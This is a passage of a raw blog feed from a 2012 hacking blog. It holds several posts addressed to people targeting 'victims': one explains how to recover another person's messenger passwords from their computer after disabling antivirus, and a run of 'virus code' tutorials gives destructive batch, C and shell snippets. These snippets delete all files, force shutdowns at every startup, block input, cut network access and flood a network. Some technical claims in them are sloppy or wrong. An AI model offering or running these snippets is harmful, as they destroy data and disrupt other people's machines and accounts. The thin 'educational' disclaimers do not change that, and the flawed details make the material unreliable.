crime.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8486526246242399155?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8486526246242399155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8486526246242399155'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/brute-force-best-hacking-method.html' title='Brute Force - best hacking method'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5715257150013422828</id><published>2012-02-17T02:06:00.000-08:00</published><updated>2012-02-17T02:06:25.532-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Learn how to hack Yahoo/MSN/AOL/Google</title><content type='html'>This is not actually hacking but recovering passwords .You can recover password oF Yahoo, Msn, Hotmal, Live, Google, Gmail, Aol, Aim, ICQ and a lot more Think a bit if you main motive is to get password anyway.&lt;br /&gt;&lt;br /&gt;Now there are a bit of requirements&lt;br /&gt;&lt;br /&gt;First you victim must have used a IM(instant messenger) at least once with this id. Say for yahoo he must use yahoo messenger.Online versions dont count.So this means you cannot hack accounts  of say facebook or myspace which dont have their IM&lt;br /&gt;&lt;br /&gt;Second you must have access to his comp where he has used the IM.&lt;br /&gt;&lt;br /&gt;Third he must not have formatted his system recently or he must have used the IM after format.&lt;br /&gt;&lt;br /&gt;These requirements are tough, i know.You will hit a jackpot if you are on shared comp as it's not frequently formatted and many use IM.You can even  ask him to use the IM on your comp.Once you fullfill these job's almost done.&lt;br /&gt;&lt;br /&gt;Now you can use these password recovery software to get hold of your victims password  These softwares have high success rate but not 100%. I am giving all trial download links .If you want the full version visit your fav torrent or rapidshare or megaupload.The will not crack any passwords greater than 4 chars which mean syou cant hack most accounts as they require atleast 6 chars.&lt;br /&gt;&lt;br /&gt;You will have to temporarily stop the Antivirus as  your antivirus will detect it as spyware. But they are Spyware free !00% safe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://tinyurl.com/6emvx5" rel="nofollow" target="_blank"&gt;MessenPass 1.16&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tinyurl.com/5rv7hn" rel="nofollow" target="_blank"&gt;Instant Messengers Password Recovery Master&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://tinyurl.com/57mdhe" rel="nofollow" target="_blank"&gt;Advanced Instant Messengers Password Recovery 3.4&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Use this only to get lost passwords of your account. If you hack some one's account we wont take responsibility.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5715257150013422828?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5715257150013422828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5715257150013422828'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/learn-how-to-hack-yahoomsnaolgoogle.html' title='Learn how to hack Yahoo/MSN/AOL/Google'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8213724452676772444</id><published>2012-02-17T01:34:00.000-08:00</published><updated>2012-02-17T02:30:40.091-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>hacking</title><content type='html'>&lt;a href="http://geekcodes.blogspot.com/2012/02/learn-how-to-hack-yahoomsnaolgoogle.html"&gt;Learn how to hack Yahoo/MSN/AOL/Google&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/brute-force-best-hacking-method.html"&gt;Brute Force - best hacking method&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/hacking-victims.html"&gt;Hacking victims&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/convert-exe-to-jpeg.html"&gt;Convert Exe to JPEG&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/ip-gives-it-all.html"&gt;IP gives it all&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/get-details-about-any-site.html"&gt;Get details about any site&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/make-guest-as-admin.html"&gt;Make guest as admin&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/read-emails-without-hacking.html"&gt;Read emails without hacking&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Get details about any site&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/hacking-through-links.html"&gt;Hacking through links&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-2-blockdisable-any-software.html"&gt;Virus code 2: Block/Disable any software&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/make-xp-genuine.html"&gt;Make Xp genuine&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/goog_1215152315"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/blockunblock-sites-without-software.html"&gt;Block/Unblock sites without software&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8213724452676772444?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8213724452676772444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8213724452676772444'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/hacking.html' title='hacking'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-6496238870744436918</id><published>2012-02-17T01:06:00.000-08:00</published><updated>2012-02-17T01:06:08.915-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 1: Block/Disable all input device</title><content type='html'>This is the virus wirting basics section. Today we are going to show you how to block all input decice. This is demonstrated using c/c++.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To Block mouse and the keyboard. you can make use of the following statement.&lt;br /&gt;&lt;br /&gt;BlockInput(true);&lt;br /&gt;&lt;br /&gt;This code blocks all input from mouse and the keyboard. It can be stopped by using ctrl+alt+del though i am not sure how this can be done.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can integrate in this in your code and you can block all input .As all the info given over here is purely for educational purpost it's left upto the reader to make out what header file is needed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-6496238870744436918?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6496238870744436918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6496238870744436918'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-1-blockdisable-all-input.html' title='Virus code 1: Block/Disable all input device'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5325465141351054428</id><published>2012-02-17T01:04:00.000-08:00</published><updated>2012-02-17T01:04:16.016-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 10: Restart virus</title><content type='html'>This is the virus writing basic section. Today i will show you how to create a shutdown/ restart virus for both Windows and Linux&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First we will create the windows version.&lt;br /&gt;&lt;br /&gt;Lets see how it works. Just close all windows . Now go to command prompt(Start &gt;&gt;&gt;"RUN" now trpe "cmd"). Now you have entered MS-DOS/ Command prompt. Here You need to type "shutdown -s" or "restart -s". This will shutdown or restart your comp. We are making use of this DOS command to create this virus.&lt;br /&gt;&lt;br /&gt;    Just open a notepad&lt;br /&gt;&lt;br /&gt;    In that type "shutdown -s" or "restart -s".&lt;br /&gt;&lt;br /&gt;    Now save it as virus.bat or yourname.bat.&lt;br /&gt;&lt;br /&gt;    Now when you run it your system gets turned off.&lt;br /&gt;&lt;br /&gt;Note if .bat extension doesnt work try .exe extension&lt;br /&gt;&lt;br /&gt;To make this more powerful just force your victim to copy this into "START&gt;&gt;&gt;ALL PROGRAM&gt;&gt;&gt; STARTUP". Now this program will load every time the computer starts.&lt;br /&gt;&lt;br /&gt;Only way out for him is to go in safe mode and delete it from startup. So go ahead and try them out.&lt;br /&gt;&lt;br /&gt;Now the linux version.&lt;br /&gt;&lt;br /&gt;In Linux we will create a shell script with the text "poweroff". Now go to the file where script is located and right click on it. Change the permission to allow all. Job done.&lt;br /&gt;&lt;br /&gt;This is post is not intended to create a havoc and is just for educational purpose.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5325465141351054428?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5325465141351054428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5325465141351054428'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-10-restart-virus.html' title='Virus code 10: Restart virus'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-6452465774440681584</id><published>2012-02-17T01:01:00.001-08:00</published><updated>2012-02-17T01:01:59.210-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Learn how to Virus code in C- Part 1</title><content type='html'>Virus code can be coded using several language. The best being c or vbs. Today I will explain you how to create some simple virus using c.&lt;br /&gt;&lt;br /&gt;I am assuming you know at least c basics. First lets begin with tiny and simple ones.&lt;br /&gt;&lt;br /&gt;int c;&lt;br /&gt;while(1)&lt;br /&gt;{c=c+10;}&lt;br /&gt;&lt;br /&gt;This simple script needs no explanation. It will just be eating away your victims virus at a slow space. The person can stop this by just closing the .exe file.The memory is used to store the result.&lt;br /&gt;As you know a double takes up more space you can replace int with float.&lt;br /&gt;&lt;br /&gt;Now lets try to create a simple Linux virus.&lt;br /&gt;&lt;br /&gt;system("poweroff");&lt;br /&gt;&lt;br /&gt;This simple script will turn off your victims comp. The above linux virus can be made extremely dangerous by making a simple change. if you can make your code do it's job when ever a person turns on his comp then think what will happen ( i mean other than you going to jail) the person must have to format his system.&lt;br /&gt;&lt;br /&gt;Now lets step it up.Lets increase the venom of our snake&lt;br /&gt;&lt;br /&gt;system("rm *.*");&lt;br /&gt;&lt;br /&gt;This will erase/delete all files with all extension provided the logged user has permission to delete it.Just imagine if the admin runs it then it will create a havoc.&lt;br /&gt;&lt;br /&gt;Now lets come back to windows what if you change the extension of a file. It becomes useless.Now let's rename a few file.&lt;br /&gt;rename(old_file_name_with_path,newname");&lt;br /&gt;Now what you can do with this left up to you.Just use your brain and you will make out it's potential.&lt;br /&gt;&lt;br /&gt;These are very simple virus but can cause havoc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-6452465774440681584?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6452465774440681584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6452465774440681584'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/learn-how-to-virus-code-in-c-part-1.html' title='Learn how to Virus code in C- Part 1'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2558357307499409789</id><published>2012-02-17T01:00:00.000-08:00</published><updated>2012-02-17T01:00:04.629-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 15: Messing with files</title><content type='html'>This is the virus writing basic section. Toady i am going to show how to render a windows useless using dos programing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@echo off&lt;br /&gt;&lt;br /&gt;attrib -r -s -h FileName&lt;br /&gt;&lt;br /&gt;del FileName&lt;br /&gt;&lt;br /&gt;@echo off&lt;br /&gt;&lt;br /&gt;msg *c:\autoexec.bat is deleted by this. Plz reinstall windows.&lt;br /&gt;&lt;br /&gt;Now save it as something.bat .&lt;br /&gt;&lt;br /&gt;Replace FileName with any file like c:\autoexec .Job done&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now when some one runs it the specfied File is deleted . Plz Note you will get into serious trouble if you spread this. Although the virus just deletes a files be careful what it deletes . This could even make victims's computer useless . Your victims computer will be in the trash and you in jail.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Only solution is to reinstall the file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2558357307499409789?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2558357307499409789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2558357307499409789'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-15-messing-with-files.html' title='Virus code 15: Messing with files'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4107231219059998194</id><published>2012-02-17T00:56:00.000-08:00</published><updated>2012-02-17T00:56:27.813-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 18: Delete all files</title><content type='html'>This is the virus wirting basics section. Today we are going to show you how to delete all content. This is demonstrated using DOS programming and also in LINUX.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DOS programming&lt;br /&gt;&lt;br /&gt;Paste the given code in notepad&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@Echo off&lt;br /&gt;&lt;br /&gt;Del C:\ *.*y&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And save it like any_name.bat . Now run this file... All the data is gone from your PC.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LINUX&lt;br /&gt;&lt;br /&gt;Just run the command&lt;br /&gt;&lt;br /&gt;rm *.* will delete all files of any extention&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4107231219059998194?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4107231219059998194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4107231219059998194'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-18-delete-all-files.html' title='Virus code 18: Delete all files'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2694448482965944052</id><published>2012-02-17T00:54:00.000-08:00</published><updated>2012-02-17T00:54:58.054-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus Code 20: Black wolf virus</title><content type='html'>This is the code of the "Black Wolf" virus.This is in c. You are at your own risk. If you spread this you will land behind the bar. We are giving this only for educational Purpose. You need to guess the header file for yourself.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viruswritings.googlepages.com/blackwolf.GIF" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="511" src="http://viruswritings.googlepages.com/blackwolf.GIF" width="362" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This virus corrupts all the .com files . so be extremely careful what you do with it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2694448482965944052?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2694448482965944052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2694448482965944052'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-20-black-wolf-virus_17.html' title='Virus Code 20: Black wolf virus'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5778638185212424190</id><published>2012-02-17T00:52:00.000-08:00</published><updated>2012-02-17T00:52:11.035-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Macro virus writing 2</title><content type='html'>Welcome to virus writing section. This will give detailed explanation of the Macro virus writing. For more ipaper visit the ipaper section&lt;br /&gt;&lt;br /&gt;&lt;object id="doc_447174056306898" height="500" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" name="doc_447174056306898" align="middle"&gt;&lt;param name="_cx" value="17965"&gt;&lt;param name="_cy" value="13229"&gt;&lt;param name="FlashVars" value=""&gt;&lt;param name="Movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2199120&amp;amp;access_key=key-1bl54wrzm2gjuvk4ky15&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="Src" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2199120&amp;amp;access_key=key-1bl54wrzm2gjuvk4ky15&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="WMode" value="Opaque"&gt;&lt;param name="Play" value="0"&gt;&lt;param name="Loop" value="-1"&gt;&lt;param name="Quality" value="High"&gt;&lt;param name="SAlign" value="LT"&gt;&lt;param name="Menu" value="-1"&gt;&lt;param name="Base" value=""&gt;&lt;param name="AllowScriptAccess" value="always"&gt;&lt;param name="Scale" value="NoScale"&gt;&lt;param name="DeviceFont" value="0"&gt;&lt;param name="EmbedMovie" value="0"&gt;&lt;param name="BGColor" value="FFFFFF"&gt;&lt;param name="SWRemote" value=""&gt;&lt;param name="MovieData" value=""&gt;&lt;param name="SeamlessTabbing" value="1"&gt;&lt;param name="Profile" value="0"&gt;&lt;param name="ProfileAddress" value=""&gt;&lt;param name="ProfilePort" value="0"&gt;&lt;param name="AllowNetworking" value="all"&gt;&lt;param name="AllowFullScreen" value="true"&gt;&lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=2199120&amp;access_key=key-1bl54wrzm2gjuvk4ky15&amp;page=&amp;version=1&amp;auto_size=true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_447174056306898_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle" height="500" width="100%"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5778638185212424190?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5778638185212424190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5778638185212424190'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/macro-virus-writing-2.html' title='Macro virus writing 2'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2254327699310065027</id><published>2012-02-17T00:50:00.000-08:00</published><updated>2012-02-17T00:50:24.096-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 19: Disable internet temporarily</title><content type='html'>This is the virus writing basics section. Today we are going to show you how to disable Internet. This is demonstrated using Batch/ Dos Programing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ipconfig /release&lt;br /&gt;&lt;br /&gt;echo You Internet Been HACKED!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just copy the above code in to a notepad file and save it as anything.BAT. This will temporarily disable your Internet. Actually all the job is done by the first line only the second line just informs that the Internet has been disabled&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As all the info given over here is purely for educational purpose it's readers responsibility to use it sensibly. You could land into grave trouble if you spread this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2254327699310065027?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2254327699310065027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2254327699310065027'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-19-disable-internet.html' title='Virus code 19: Disable internet temporarily'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8123949225524627446</id><published>2012-02-17T00:48:00.000-08:00</published><updated>2012-02-17T00:48:10.504-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 21: datechange</title><content type='html'>This is a simple code that changes system time . It is written using c/c++ but can be easily converted to java.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viruswritings.googlepages.com/date.GIF" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="375" src="http://viruswritings.googlepages.com/date.GIF" width="506" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Now You need to compile it but not run it i.e just click on compile but not on run option or you will only get infected by the virus.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To set back to the old date you can use before the "return o;" statement&lt;br /&gt;&lt;br /&gt;setdate(&amp;amp;old_date);&lt;br /&gt;&lt;br /&gt;You might need time.h header file but i am not very sure about it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Although the code is extremely simple be very careful what you do with this virus as you can go to jail for spreading this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8123949225524627446?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8123949225524627446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8123949225524627446'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-21-datechange.html' title='Virus code 21: datechange'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1484129397529560336</id><published>2012-02-17T00:46:00.000-08:00</published><updated>2012-02-17T00:46:23.926-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 17: Flood your network</title><content type='html'>This is the virus writing basics section. Today we are going to show you on flodding the network. This is demonstrated using Dos/Batch programming.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The below cade will temporarily flood network once the user turns off his comp everything will be back to normal.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;:CRASH&lt;br /&gt;&lt;br /&gt;net send * WORKGROUP ENABLED&lt;br /&gt;&lt;br /&gt;net send * WORKGROUP ENABLED&lt;br /&gt;&lt;br /&gt;GOTO CRASH&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just copy the code into a notepad file and save it as anything.bat. When you run it will start flodding your network.&lt;br /&gt;&lt;br /&gt;As all the info given over here is purely for educational purpose it's readers responsibility to use it sensibly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1484129397529560336?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1484129397529560336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1484129397529560336'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-17-flood-your-network.html' title='Virus code 17: Flood your network'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image 